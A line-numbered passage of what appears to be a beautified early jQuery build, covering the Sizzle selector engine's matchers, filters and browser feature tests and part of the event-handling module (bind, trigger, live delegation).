1197 for (var X = 0; (af = aa[X]) != null; X++) {
1198 if (af) {
1199 ah = U(af, Y, X, aa);
1200 var ae = W ^ !!ah;
1201 if (ag && ah != null) {
1202 if (ae) {
1203 T = true
1204 } else {
1205 aa[X] = false
1206 }
1207 } else {
1208 if (ae) {
1209 ai.push(af);
1210 T = true
1211 }
1212 }
1213 }
1214 }
1215 }
1216 if (ah !== g) {
1217 if (!ag) {
1218 aa = ai
1219 }
1220 ad = ad.replace(I.match[ab], "");
1221 if (!T) {
1222 return []
1223 }
1224 break
1225 }
1226 }
1227 }
1228 if (ad == V) {
1229 if (T == null) {
1230 throw "Syntax error, unrecognized expression: " + ad
1231 } else {
1232 break
1233 }
1234 }
1235 V = ad
1236 }
1237 return aa
1238 };
1239 var I = F.selectors = {
1240 order: ["ID", "NAME", "TAG"],
1241 match: {
1242 ID: /#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
1243 CLASS: /\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,
1244 NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,
1245 ATTR: /\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
1246 TAG: /^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,
1247 CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
1248 POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
1249 PSEUDO: /:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
1250 },
1251 attrMap: {
1252 "class": "className",
1253 "for": "htmlFor"
1254 },
1255 attrHandle: {
1256 href: function (T) {
1257 return T.getAttribute("href")
1258 }
1259 },
1260 relative: {
1261 "+": function (aa, T, Z) {
1262 var X = typeof T === "string",
1263 ab = X && !/\W/.test(T),
1264 Y = X && !ab;
1265 if (ab && !Z) {
1266 T = T.toUpperCase()
1267 }
1268 for (var W = 0, V = aa.length, U; W < V; W++) {
1269 if ((U = aa[W])) {
1270 while ((U = U.previousSibling) && U.nodeType !== 1) {}
1271 aa[W] = Y || U && U.nodeName === T ? U || false : U === T
1272 }
1273 }
1274 if (Y) {
1275 F.filter(T, aa, true)
1276 }
1277 },
1278 ">": function (Z, U, aa) {
1279 var X = typeof U === "string";
1280 if (X && !/\W/.test(U)) {
1281 U = aa ? U : U.toUpperCase();
1282 for (var V = 0, T = Z.length; V < T; V++) {
1283 var Y = Z[V];
1284 if (Y) {
1285 var W = Y.parentNode;
1286 Z[V] = W.nodeName === U ? W : false
1287 }
1288 }
1289 } else {
1290 for (var V = 0, T = Z.length; V < T; V++) {
1291 var Y = Z[V];
1292 if (Y) {
1293 Z[V] = X ? Y.parentNode : Y.parentNode === U
1294 }
1295 }
1296 if (X) {
1297 F.filter(U, Z, true)
1298 }
1299 }
1300 },
1301 "": function (W, U, Y) {
1302 var V = L++,
1303 T = S;
1304 if (!U.match(/\W/)) {
1305 var X = U = Y ? U : U.toUpperCase();
1306 T = P
1307 }
1308 T("parentNode", U, V, W, X, Y)
1309 },
1310 "~": function (W, U, Y) {
1311 var V = L++,
1312 T = S;
1313 if (typeof U === "string" && !U.match(/\W/)) {
1314 var X = U = Y ? U : U.toUpperCase();
1315 T = P
1316 }
1317 T("previousSibling", U, V, W, X, Y)
1318 }
1319 },
1320 find: {
1321 ID: function (U, V, W) {
1322 if (typeof V.getElementById !== "undefined" && !W) {
1323 var T = V.getElementById(U[1]);
1324 return T ? [T] : []
1325 }
1326 },
1327 NAME: function (V, Y, Z) {
1328 if (typeof Y.getElementsByName !== "undefined") {
1329 var U = [],
1330 X = Y.getElementsByName(V[1]);
1331 for (var W = 0, T = X.length; W < T; W++) {
1332 if (X[W].getAttribute("name") === V[1]) {
1333 U.push(X[W])
1334 }
1335 }
1336 return U.length === 0 ? null : U
1337 }
1338 },
1339 TAG: function (T, U) {
1340 return U.getElementsByTagName(T[1])
1341 }
1342 },
1343 preFilter: {
1344 CLASS: function (W, U, V, T, Z, aa) {
1345 W = " " + W[1].replace(/\\/g, "") + " ";
1346 if (aa) {
1347 return W
1348 }
1349 for (var X = 0, Y; (Y = U[X]) != null; X++) {
1350 if (Y) {
1351 if (Z ^ (Y.className && (" " + Y.className + " ").indexOf(W) >= 0)) {
1352 if (!V) {
1353 T.push(Y)
1354 }
1355 } else {
1356 if (V) {
1357 U[X] = false
1358 }
1359 }
1360 }
1361 }
1362 return false
1363 },
1364 ID: function (T) {
1365 return T[1].replace(/\\/g, "")
1366 },
1367 TAG: function (U, T) {
1368 for (var V = 0; T[V] === false; V++) {}
1369 return T[V] && Q(T[V]) ? U[1] : U[1].toUpperCase()
1370 },
1371 CHILD: function (T) {
1372 if (T[1] == "nth") {
1373 var U = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2] == "even" && "2n" || T[2] == "odd" && "2n+1" || !/\D/.test(T[2]) && "0n+" + T[2] || T[2]);
1374 T[2] = (U[1] + (U[2] || 1)) - 0;
1375 T[3] = U[3] - 0
1376 }
1377 T[0] = L++;
1378 return T
1379 },
1380 ATTR: function (X, U, V, T, Y, Z) {
1381 var W = X[1].replace(/\\/g, "");
1382 if (!Z && I.attrMap[W]) {
1383 X[1] = I.attrMap[W]
1384 }
1385 if (X[2] === "~=") {
1386 X[4] = " " + X[4] + " "
1387 }
1388 return X
1389 },
1390 PSEUDO: function (X, U, V, T, Y) {
1391 if (X[1] === "not") {
1392 if (X[3].match(R).length > 1 || /^\w/.test(X[3])) {
1393 X[3] = F(X[3], null, null, U)
1394 } else {
1395 var W = F.filter(X[3], U, V, true ^ Y);
1396 if (!V) {
1397 T.push.apply(T, W)
1398 }
1399 return false
1400 }
1401 } else {
1402 if (I.match.POS.test(X[0]) || I.match.CHILD.test(X[0])) {
1403 return true
1404 }
1405 }
1406 return X
1407 },
1408 POS: function (T) {
1409 T.unshift(true);
1410 return T
1411 }
1412 },
1413 filters: {
1414 enabled: function (T) {
1415 return T.disabled === false && T.type !== "hidden"
1416 },
1417 disabled: function (T) {
1418 return T.disabled === true
1419 },
1420 checked: function (T) {
1421 return T.checked === true
1422 },
1423 selected: function (T) {
1424 T.parentNode.selectedIndex;
1425 return T.selected === true
1426 },
1427 parent: function (T) {
1428 return !!T.firstChild
1429 },
1430 empty: function (T) {
1431 return !T.firstChild
1432 },
1433 has: function (V, U, T) {
1434 return !!F(T[3], V).length
1435 },
1436 header: function (T) {
1437 return /h\d/i.test(T.nodeName)
1438 },
1439 text: function (T) {
1440 return "text" === T.type
1441 },
1442 radio: function (T) {
1443 return "radio" === T.type
1444 },
1445 checkbox: function (T) {
1446 return "checkbox" === T.type
1447 },
1448 file: function (T) {
1449 return "file" === T.type
1450 },
1451 password: function (T) {
1452 return "password" === T.type
1453 },
1454 submit: function (T) {
1455 return "submit" === T.type
1456 },
1457 image: function (T) {
1458 return "image" === T.type
1459 },
1460 reset: function (T) {
1461 return "reset" === T.type
1462 },
1463 button: function (T) {
1464 return "button" === T.type || T.nodeName.toUpperCase() === "BUTTON"
1465 },
1466 input: function (T) {
1467 return /input|select|textarea|button/i.test(T.nodeName)
1468 }
1469 },
1470 setFilters: {
1471 first: function (U, T) {
1472 return T === 0
1473 },
1474 last: function (V, U, T, W) {
1475 return U === W.length - 1
1476 },
1477 even: function (U, T) {
1478 return T % 2 === 0
1479 },
1480 odd: function (U, T) {
1481 return T % 2 === 1
1482 },
1483 lt: function (V, U, T) {
1484 return U < T[3] - 0
1485 },
1486 gt: function (V, U, T) {
1487 return U > T[3] - 0
1488 },
1489 nth: function (V, U, T) {
1490 return T[3] - 0 == U
1491 },
1492 eq: function (V, U, T) {
1493 return T[3] - 0 == U
1494 }
1495 },
1496 filter: {
1497 PSEUDO: function (Z, V, W, aa) {
1498 var U = V[1],
1499 X = I.filters[U];
1500 if (X) {
1501 return X(Z, W, V, aa)
1502 } else {
1503 if (U === "contains") {
1504 return (Z.textContent || Z.innerText || "").indexOf(V[3]) >= 0
1505 } else {
1506 if (U === "not") {
1507 var Y = V[3];
1508 for (var W = 0, T = Y.length; W < T; W++) {
1509 if (Y[W] === Z) {
1510 return false
1511 }
1512 }
1513 return true
1514 }
1515 }
1516 }
1517 },
1518 CHILD: function (T, W) {
1519 var Z = W[1],
1520 U = T;
1521 switch (Z) {
1522 case "only":
1523 case "first":
1524 while (U = U.previousSibling) {
1525 if (U.nodeType === 1) {
1526 return false
1527 }
1528 }
1529 if (Z == "first") {
1530 return true
1531 }
1532 U = T;
1533 case "last":
1534 while (U = U.nextSibling) {
1535 if (U.nodeType === 1) {
1536 return false
1537 }
1538 }
1539 return true;
1540 case "nth":
1541 var V = W[2],
1542 ac = W[3];
1543 if (V == 1 && ac == 0) {
1544 return true
1545 }
1546 var Y = W[0],
1547 ab = T.parentNode;
1548 if (ab && (ab.sizcache !== Y || !T.nodeIndex)) {
1549 var X = 0;
1550 for (U = ab.firstChild; U; U = U.nextSibling) {
1551 if (U.nodeType === 1) {
1552 U.nodeIndex = ++X
1553 }
1554 }
1555 ab.sizcache = Y
1556 }
1557 var aa = T.nodeIndex - ac;
1558 if (V == 0) {
1559 return aa == 0
1560 } else {
1561 return (aa % V == 0 && aa / V >= 0)
1562 }
1563 }
1564 },
1565 ID: function (U, T) {
1566 return U.nodeType === 1 && U.getAttribute("id") === T
1567 },
1568 TAG: function (U, T) {
1569 return (T === "*" && U.nodeType === 1) || U.nodeName === T
1570 },
1571 CLASS: function (U, T) {
1572 return (" " + (U.className || U.getAttribute("class")) + " ").indexOf(T) > -1
1573 },
1574 ATTR: function (Y, W) {
1575 var V = W[1],
1576 T = I.attrHandle[V] ? I.attrHandle[V](Y) : Y[V] != null ? Y[V] : Y.getAttribute(V),
1577 Z = T + "",
1578 X = W[2],
1579 U = W[4];
1580 return T == null ? X === "!=" : X === "=" ? Z === U : X === "*=" ? Z.indexOf(U) >= 0 : X === "~=" ? (" " + Z + " ").indexOf(U) >= 0 : !U ? Z && T !== false : X === "!=" ? Z != U : X === "^=" ? Z.indexOf(U) === 0 : X === "$=" ? Z.substr(Z.length - U.length) === U : X === "|=" ? Z === U || Z.substr(0, U.length + 1) === U + "-" : false
1581 },
1582 POS: function (X, U, V, Y) {
1583 var T = U[2],
1584 W = I.setFilters[T];
1585 if (W) {
1586 return W(X, V, U, Y)
1587 }
1588 }
1589 }
1590 };
1591 var M = I.match.POS;
1592 for (var O in I.match) {
1593 I.match[O] = RegExp(I.match[O].source + /(?![^\[]*\])(?![^\(]*\))/.source)
1594 }
1595 var E = function (U, T) {
1596 U = Array.prototype.slice.call(U);
1597 if (T) {
1598 T.push.apply(T, U);
1599 return T
1600 }
1601 return U
1602 };
1603 try {
1604 Array.prototype.slice.call(document.documentElement.childNodes)
1605 } catch (N) {
1606 E = function (X, W) {
1607 var U = W || [];
1608 if (H.call(X) === "[object Array]") {
1609 Array.prototype.push.apply(U, X)
1610 } else {
1611 if (typeof X.length === "number") {
1612 for (var V = 0, T = X.length; V < T; V++) {
1613 U.push(X[V])
1614 }
1615 } else {
1616 for (var V = 0; X[V]; V++) {
1617 U.push(X[V])
1618 }
1619 }
1620 }
1621 return U
1622 }
1623 }
1624 var G;
1625 if (document.documentElement.compareDocumentPosition) {
1626 G = function (U, T) {
1627 var V = U.compareDocumentPosition(T) & 4 ? -1 : U === T ? 0 : 1;
1628 if (V === 0) {
1629 hasDuplicate = true
1630 }
1631 return V
1632 }
1633 } else {
1634 if ("sourceIndex" in document.documentElement) {
1635 G = function (U, T) {
1636 var V = U.sourceIndex - T.sourceIndex;
1637 if (V === 0) {
1638 hasDuplicate = true
1639 }
1640 return V
1641 }
1642 } else {
1643 if (document.createRange) {
1644 G = function (W, U) {
1645 var V = W.ownerDocument.createRange(),
1646 T = U.ownerDocument.createRange();
1647 V.selectNode(W);
1648 V.collapse(true);
1649 T.selectNode(U);
1650 T.collapse(true);
1651 var X = V.compareBoundaryPoints(Range.START_TO_END, T);
1652 if (X === 0) {
1653 hasDuplicate = true
1654 }
1655 return X
1656 }
1657 }
1658 }
1659 }
1660 (function () {
1661 var U = document.createElement("form"),
1662 V = "script" + (new Date).getTime();
1663 U.innerHTML = "<input name='" + V + "'/>";
1664 var T = document.documentElement;
1665 T.insertBefore(U, T.firstChild);
1666 if (!!document.getElementById(V)) {
1667 I.find.ID = function (X, Y, Z) {
1668 if (typeof Y.getElementById !== "undefined" && !Z) {
1669 var W = Y.getElementById(X[1]);
1670 return W ? W.id === X[1] || typeof W.getAttributeNode !== "undefined" && W.getAttributeNode("id").nodeValue === X[1] ? [W] : g : []
1671 }
1672 };
1673 I.filter.ID = function (Y, W) {
1674 var X = typeof Y.getAttributeNode !== "undefined" && Y.getAttributeNode("id");
1675 return Y.nodeType === 1 && X && X.nodeValue === W
1676 }
1677 }
1678 T.removeChild(U)
1679 })();
1680 (function () {
1681 var T = document.createElement("div");
1682 T.appendChild(document.createComment(""));
1683 if (T.getElementsByTagName("*").length > 0) {
1684 I.find.TAG = function (U, Y) {
1685 var X = Y.getElementsByTagName(U[1]);
1686 if (U[1] === "*") {
1687 var W = [];
1688 for (var V = 0; X[V]; V++) {
1689 if (X[V].nodeType === 1) {
1690 W.push(X[V])
1691 }
1692 }
1693 X = W
1694 }
1695 return X
1696 }
1697 }
1698 T.innerHTML = "<a href='#'></a>";
1699 if (T.firstChild && typeof T.firstChild.getAttribute !== "undefined" && T.firstChild.getAttribute("href") !== "#") {
1700 I.attrHandle.href = function (U) {
1701 return U.getAttribute("href", 2)
1702 }
1703 }
1704 })();
1705 if (document.querySelectorAll) {
1706 (function () {
1707 var T = F,
1708 U = document.createElement("div");
1709 U.innerHTML = "<p class='TEST'></p>";
1710 if (U.querySelectorAll && U.querySelectorAll(".TEST").length === 0) {
1711 return
1712 }
1713 F = function (Y, X, V, W) {
1714 X = X || document;
1715 if (!W && X.nodeType === 9 && !Q(X)) {
1716 try {
1717 return E(X.querySelectorAll(Y), V)
1718 } catch (Z) {}
1719 }
1720 return T(Y, X, V, W)
1721 };
1722 F.find = T.find;
1723 F.filter = T.filter;
1724 F.selectors = T.selectors;
1725 F.matches = T.matches
1726 })()
1727 }
1728 if (document.getElementsByClassName && document.documentElement.getElementsByClassName) {
1729 (function () {
1730 var T = document.createElement("div");
1731 T.innerHTML = "<div class='test e'></div><div class='test'></div>";
1732 if (T.getElementsByClassName("e").length === 0) {
1733 return
1734 }
1735 T.lastChild.className = "e";
1736 if (T.getElementsByClassName("e").length === 1) {
1737 return
1738 }
1739 I.order.splice(1, 0, "CLASS");
1740 I.find.CLASS = function (U, V, W) {
1741 if (typeof V.getElementsByClassName !== "undefined" && !W) {
1742 return V.getElementsByClassName(U[1])
1743 }
1744 }
1745 })()
1746 }
1747 function P(U, Z, Y, ad, aa, ac) {
1748 var ab = U == "previousSibling" && !ac;
1749 for (var W = 0, V = ad.length; W < V; W++) {
1750 var T = ad[W];
1751 if (T) {
1752 if (ab && T.nodeType === 1) {
1753 T.sizcache = Y;
1754 T.sizset = W
1755 }
1756 T = T[U];
1757 var X = false;
1758 while (T) {
1759 if (T.sizcache === Y) {
1760 X = ad[T.sizset];
1761 break
1762 }
1763 if (T.nodeType === 1 && !ac) {
1764 T.sizcache = Y;
1765 T.sizset = W
1766 }
1767 if (T.nodeName === Z) {
1768 X = T;
1769 break
1770 }
1771 T = T[U]
1772 }
1773 ad[W] = X
1774 }
1775 }
1776 }
1777 function S(U, Z, Y, ad, aa, ac) {
1778 var ab = U == "previousSibling" && !ac;
1779 for (var W = 0, V = ad.length; W < V; W++) {
1780 var T = ad[W];
1781 if (T) {
1782 if (ab && T.nodeType === 1) {
1783 T.sizcache = Y;
1784 T.sizset = W
1785 }
1786 T = T[U];
1787 var X = false;
1788 while (T) {
1789 if (T.sizcache === Y) {
1790 X = ad[T.sizset];
1791 break
1792 }
1793 if (T.nodeType === 1) {
1794 if (!ac) {
1795 T.sizcache = Y;
1796 T.sizset = W
1797 }
1798 if (typeof Z !== "string") {
1799 if (T === Z) {
1800 X = true;
1801 break
1802 }
1803 } else {
1804 if (F.filter(Z, [T]).length > 0) {
1805 X = T;
1806 break
1807 }
1808 }
1809 }
1810 T = T[U]
1811 }
1812 ad[W] = X
1813 }
1814 }
1815 }
1816 var K = document.compareDocumentPosition ? function (U, T) {
1817 return U.compareDocumentPosition(T) & 16
1818 }
1819 : function (U, T) {
1820 return U !== T && (U.contains ? U.contains(T) : true)
1821 };
1822 var Q = function (T) {
1823 return T.nodeType === 9 && T.documentElement.nodeName !== "HTML" || !!T.ownerDocument && Q(T.ownerDocument)
1824 };
1825 var J = function (T, aa) {
1826 var W = [],
1827 X = "",
1828 Y,
1829 V = aa.nodeType ? [aa] : aa;
1830 while ((Y = I.match.PSEUDO.exec(T))) {
1831 X += Y[0];
1832 T = T.replace(I.match.PSEUDO, "")
1833 }
1834 T = I.relative[T] ? T + "*" : T;
1835 for (var Z = 0, U = V.length; Z < U; Z++) {
1836 F(T, V[Z], W)
1837 }
1838 return F.filter(X, W)
1839 };
1840 o.find = F;
1841 o.filter = F.filter;
1842 o.expr = F.selectors;
1843 o.expr[":"] = o.expr.filters;
1844 F.selectors.filters.hidden = function (T) {
1845 return T.offsetWidth === 0 || T.offsetHeight === 0
1846 };
1847 F.selectors.filters.visible = function (T) {
1848 return T.offsetWidth > 0 || T.offsetHeight > 0
1849 };
1850 F.selectors.filters.animated = function (T) {
1851 return o.grep(o.timers, function (U) {
1852 return T === U.elem
1853 }).length
1854 };
1855 o.multiFilter = function (V, T, U) {
1856 if (U) {
1857 V = ":not(" + V + ")"
1858 }
1859 return F.matches(V, T)
1860 };
1861 o.dir = function (V, U) {
1862 var T = [],
1863 W = V[U];
1864 while (W && W != document) {
1865 if (W.nodeType == 1) {
1866 T.push(W)
1867 }
1868 W = W[U]
1869 }
1870 return T
1871 };
1872 o.nth = function (X, T, V, W) {
1873 T = T || 1;
1874 var U = 0;
1875 for (; X; X = X[V]) {
1876 if (X.nodeType == 1 && ++U == T) {
1877 break
1878 }
1879 }
1880 return X
1881 };
1882 o.sibling = function (V, U) {
1883 var T = [];
1884 for (; V; V = V.nextSibling) {
1885 if (V.nodeType == 1 && V != U) {
1886 T.push(V)
1887 }
1888 }
1889 return T
1890 };
1891 return;
1892 l.Sizzle = F
1893 })();
1894 o.event = {
1895 add: function (I, F, H, K) {
1896 if (I.nodeType == 3 || I.nodeType == 8) {
1897 return
1898 }
1899 if (I.setInterval && I != l) {
1900 I = l
1901 }
1902 if (!H.guid) {
1903 H.guid = this.guid++
1904 }
1905 if (K !== g) {
1906 var G = H;
1907 H = this.proxy(G);
1908 H.data = K
1909 }
1910 var E = o.data(I, "events") || o.data(I, "events", {}),
1911 J = o.data(I, "handle") || o.data(I, "handle", function () {
1912 return typeof o !== "undefined" && !o.event.triggered ? o.event.handle.apply(arguments.callee.elem, arguments) : g
1913 });
1914 J.elem = I;
1915 o.each(F.split(/\s+/), function (M, N) {
1916 var O = N.split(".");
1917 N = O.shift();
1918 H.type = O.slice().sort().join(".");
1919 var L = E[N];
1920 if (o.event.specialAll[N]) {
1921 o.event.specialAll[N].setup.call(I, K, O)
1922 }
1923 if (!L) {
1924 L = E[N] = {};
1925 if (!o.event.special[N] || o.event.special[N].setup.call(I, K, O) === false) {
1926 if (I.addEventListener) {
1927 I.addEventListener(N, J, false)
1928 } else {
1929 if (I.attachEvent) {
1930 I.attachEvent("on" + N, J)
1931 }
1932 }
1933 }
1934 }
1935 L[H.guid] = H;
1936 o.event.global[N] = true
1937 });
1938 I = null
1939 },
1940 guid: 1,
1941 global: {},
1942 remove: function (K, H, J) {
1943 if (K.nodeType == 3 || K.nodeType == 8) {
1944 return
1945 }
1946 var G = o.data(K, "events"),
1947 F,
1948 E;
1949 if (G) {
1950 if (H === g || (typeof H === "string" && H.charAt(0) == ".")) {
1951 for (var I in G) {
1952 this.remove(K, I + (H || ""))
1953 }
1954 } else {
1955 if (H.type) {
1956 J = H.handler;
1957 H = H.type
1958 }
1959 o.each(H.split(/\s+/), function (M, O) {
1960 var Q = O.split(".");
1961 O = Q.shift();
1962 var N = RegExp("(^|\\.)" + Q.slice().sort().join(".*\\.") + "(\\.|$)");
1963 if (G[O]) {
1964 if (J) {
1965 delete G[O][J.guid]
1966 } else {
1967 for (var P in G[O]) {
1968 if (N.test(G[O][P].type)) {
1969 delete G[O][P]
1970 }
1971 }
1972 }
1973 if (o.event.specialAll[O]) {
1974 o.event.specialAll[O].teardown.call(K, Q)
1975 }
1976 for (F in G[O]) {
1977 break
1978 }
1979 if (!F) {
1980 if (!o.event.special[O] || o.event.special[O].teardown.call(K, Q) === false) {
1981 if (K.removeEventListener) {
1982 K.removeEventListener(O, o.data(K, "handle"), false)
1983 } else {
1984 if (K.detachEvent) {
1985 K.detachEvent("on" + O, o.data(K, "handle"))
1986 }
1987 }
1988 }
1989 F = null;
1990 delete G[O]
1991 }
1992 }
1993 })
1994 }
1995 for (F in G) {
1996 break
1997 }
1998 if (!F) {
1999 var L = o.data(K, "handle");
2000 if (L) {
2001 L.elem = null
2002 }
2003 o.removeData(K, "events");
2004 o.removeData(K, "handle")
2005 }
2006 }
2007 },
2008 trigger: function (I, K, H, E) {
2009 var G = I.type || I;
2010 if (!E) {
2011 I = typeof I === "object" ? I[h] ? I : o.extend(o.Event(G), I) : o.Event(G);
2012 if (G.indexOf("!") >= 0) {
2013 I.type = G = G.slice(0, -1);
2014 I.exclusive = true
2015 }
2016 if (!H) {
2017 I.stopPropagation();
2018 if (this.global[G]) {
2019 o.each(o.cache, function () {
2020 if (this.events && this.events[G]) {
2021 o.event.trigger(I, K, this.handle.elem)
2022 }
2023 })
2024 }
2025 }
2026 if (!H || H.nodeType == 3 || H.nodeType == 8) {
2027 return g
2028 }
2029 I.result = g;
2030 I.target = H;
2031 K = o.makeArray(K);
2032 K.unshift(I)
2033 }
2034 I.currentTarget = H;
2035 var J = o.data(H, "handle");
2036 if (J) {
2037 J.apply(H, K)
2038 }
2039 if ((!H[G] || (o.nodeName(H, "a") && G == "click")) && H["on" + G] && H["on" + G].apply(H, K) === false) {
2040 I.result = false
2041 }
2042 if (!E && H[G] && !I.isDefaultPrevented() && !(o.nodeName(H, "a") && G == "click")) {
2043 this.triggered = true;
2044 try {
2045 H[G]()
2046 } catch (L) {}
2047 }
2048 this.triggered = false;
2049 if (!I.isPropagationStopped()) {
2050 var F = H.parentNode || H.ownerDocument;
2051 if (F) {
2052 o.event.trigger(I, K, F, true)
2053 }
2054 }
2055 },
2056 handle: function (K) {
2057 var J,
2058 E;
2059 K = arguments[0] = o.event.fix(K || l.event);
2060 K.currentTarget = this;
2061 var L = K.type.split(".");
2062 K.type = L.shift();
2063 J = !L.length && !K.exclusive;
2064 var I = RegExp("(^|\\.)" + L.slice().sort().join(".*\\.") + "(\\.|$)");
2065 E = (o.data(this, "events") || {})[K.type];
2066 for (var G in E) {
2067 var H = E[G];
2068 if (J || I.test(H.type)) {
2069 K.handler = H;
2070 K.data = H.data;
2071 var F = H.apply(this, arguments);
2072 if (F !== g) {
2073 K.result = F;
2074 if (F === false) {
2075 K.preventDefault();
2076 K.stopPropagation()
2077 }
2078 }
2079 if (K.isImmediatePropagationStopped()) {
2080 break
2081 }
2082 }
2083 }
2084 },
2085 props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
2086 fix: function (H) {
2087 if (H[h]) {
2088 return H
2089 }
2090 var F = H;
2091 H = o.Event(F);
2092 for (var G = this.props.length, J; G; ) {
2093 J = this.props[--G];
2094 H[J] = F[J]
2095 }
2096 if (!H.target) {
2097 H.target = H.srcElement || document
2098 }
2099 if (H.target.nodeType == 3) {
2100 H.target = H.target.parentNode
2101 }
2102 if (!H.relatedTarget && H.fromElement) {
2103 H.relatedTarget = H.fromElement == H.target ? H.toElement : H.fromElement
2104 }
2105 if (H.pageX == null && H.clientX != null) {
2106 var I = document.documentElement,
2107 E = document.body;
2108 H.pageX = H.clientX + (I && I.scrollLeft || E && E.scrollLeft || 0) - (I.clientLeft || 0);
2109 H.pageY = H.clientY + (I && I.scrollTop || E && E.scrollTop || 0) - (I.clientTop || 0)
2110 }
2111 if (!H.which && ((H.charCode || H.charCode === 0) ? H.charCode : H.keyCode)) {
2112 H.which = H.charCode || H.keyCode
2113 }
2114 if (!H.metaKey && H.ctrlKey) {
2115 H.metaKey = H.ctrlKey
2116 }
2117 if (!H.which && H.button) {
2118 H.which = (H.button & 1 ? 1 : (H.button & 2 ? 3 : (H.button & 4 ? 2 : 0)))
2119 }
2120 return H
2121 },
2122 proxy: function (F, E) {
2123 E = E || function () {
2124 return F.apply(this, arguments)
2125 };
2126 E.guid = F.guid = F.guid || E.guid || this.guid++;
2127 return E
2128 },
2129 special: {
2130 ready: {
2131 setup: B,
2132 teardown: function () {}
2133 }
2134 },
2135 specialAll: {
2136 live: {
2137 setup: function (E, F) {
2138 o.event.add(this, F[0], c)
2139 },
2140 teardown: function (G) {
2141 if (G.length) {
2142 var E = 0,
2143 F = RegExp("(^|\\.)" + G[0] + "(\\.|$)");
2144 o.each((o.data(this, "events").live || {}), function () {
2145 if (F.test(this.type)) {
2146 E++
2147 }
2148 });
2149 if (E < 1) {
2150 o.event.remove(this, G[0], c)
2151 }
2152 }
2153 }
2154 }
2155 }
2156 };
2157 o.Event = function (E) {
2158 if (!this.preventDefault) {
2159 return new o.Event(E)
2160 }
2161 if (E && E.type) {
2162 this.originalEvent = E;
2163 this.type = E.type
2164 } else {
2165 this.type = E
2166 }
2167 this.timeStamp = e();
2168 this[h] = true
2169 };
2170 function k() {
2171 return false
2172 }
2173 function u() {
2174 return true
2175 }
2176 o.Event.prototype = {
2177 preventDefault: function () {
2178 this.isDefaultPrevented = u;
2179 var E = this.originalEvent;
2180 if (!E) {
2181 return
2182 }
2183 if (E.preventDefault) {
2184 E.preventDefault()
2185 }
2186 E.returnValue = false
2187 },
2188 stopPropagation: function () {
2189 this.isPropagationStopped = u;
2190 var E = this.originalEvent;
2191 if (!E) {
2192 return
2193 }
2194 if (E.stopPropagation) {
2195 E.stopPropagation()
2196 }
2197 E.cancelBubble = true
2198 },
2199 stopImmediatePropagation: function () {
2200 this.isImmediatePropagationStopped = u;
2201 this.stopPropagation()
2202 },
2203 isDefaultPrevented: k,
2204 isPropagationStopped: k,
2205 isImmediatePropagationStopped: k
2206 };
2207 var a = function (F) {
2208 var E = F.relatedTarget;
2209 while (E && E != this) {
2210 try {
2211 E = E.parentNode
2212 } catch (G) {
2213 E = this
2214 }
2215 }
2216 if (E != this) {
2217 F.type = F.data;
2218 o.event.handle.apply(this, arguments)
2219 }
2220 };
2221 o.each({
2222 mouseover: "mouseenter",
2223 mouseout: "mouseleave"
2224 }, function (F, E) {
2225 o.event.special[E] = {
2226 setup: function () {
2227 o.event.add(this, F, a, E)
2228 },
2229 teardown: function () {
2230 o.event.remove(this, F, a)
2231 }
2232 }
2233 });
2234 o.fn.extend({
2235 bind: function (F, G, E) {
2236 return F == "unload" ? this.one(F, G, E) : this.each(function () {
2237 o.event.add(this, F, E || G, E && G)
2238 })
2239 },
2240 one: function (G, H, F) {
2241 var E = o.event.proxy(F || H, function (I) {
2242 o(this).unbind(I, E);
2243 return (F || H).apply(this, arguments)
2244 });
2245 return this.each(function () {
2246 o.event.add(this, G, E, F && H)
2247 })
2248 },
2249 unbind: function (F, E) {
2250 return this.each(function () {
2251 o.event.remove(this, F, E)
2252 })
2253 },
2254 trigger: function (E, F) {
2255 return this.each(function () {
2256 o.event.trigger(E, F, this)
2257 })
2258 },
2259 triggerHandler: function (E, G) {
2260 if (this[0]) {
2261 var F = o.Event(E);
2262 F.preventDefault();
2263 F.stopPropagation();
2264 o.event.trigger(F, G, this[0]);
2265 return F.result
2266 }
2267 },
2268 toggle: function (G) {
2269 var E = arguments,
2270 F = 1;
2271 while (F < E.length) {
2272 o.event.proxy(G, E[F++])
2273 }
2274 return this.click(o.event.proxy(G, function (H) {
2275 this.lastToggle = (this.lastToggle || 0) % F;
2276 H.preventDefault();
2277 return E[this.lastToggle++].apply(this, arguments) || false
2278 }))
2279 },
2280 hover: function (E, F) {
2281 return this.mouseenter(E).mouseleave(F)
2282 },
2283 ready: function (E) {
2284 B();
2285 if (o.isReady) {
2286 E.call(document, o)
2287 } else {
2288 o.readyList.push(E)
2289 }
2290 return this
2291 },
2292 live: function (G, F) {
2293 var E = o.event.proxy(F);
2294 E.guid += this.selector + G;
2295 o(document).bind(i(G, this.selector), this.selector, E);
2296 return this
2297 },
2298 die: function (F, E) {
2299 o(document).unbind(i(F, this.selector), E ? {
2300 guid: E.guid + this.selector + F
2301 }
2302 : null);
2303 return this
2304 }
2305 });
2306 function c(H) {
2307 var E = RegExp("(^|\\.)" + H.type + "(\\.|$)"),
2308 G = true,
2309 F = [];
2310 o.each(o.data(this, "events").live || [], function (I, J) {
2311 if (E.test(J.type)) {
2312 var K = o(H.target).closest(J.data)[0];
2313 if (K) {
2314 F.push({
2315 elem: K,
2316 fn: J
2317 })
2318 }
2319 }
2320 });
2321 F.sort(function (J, I) {
2322 return o.data(J.elem, "closest") - o.data(I.elem, "closest")
2323 });
2324 o.each(F, function () {
2325 if (this.fn.call(this.elem, H, this.fn.data) === false) {
2326 return (G = false)
2327 }
2328 });
2329 return G
2330 }
2331 function i(F, E) {
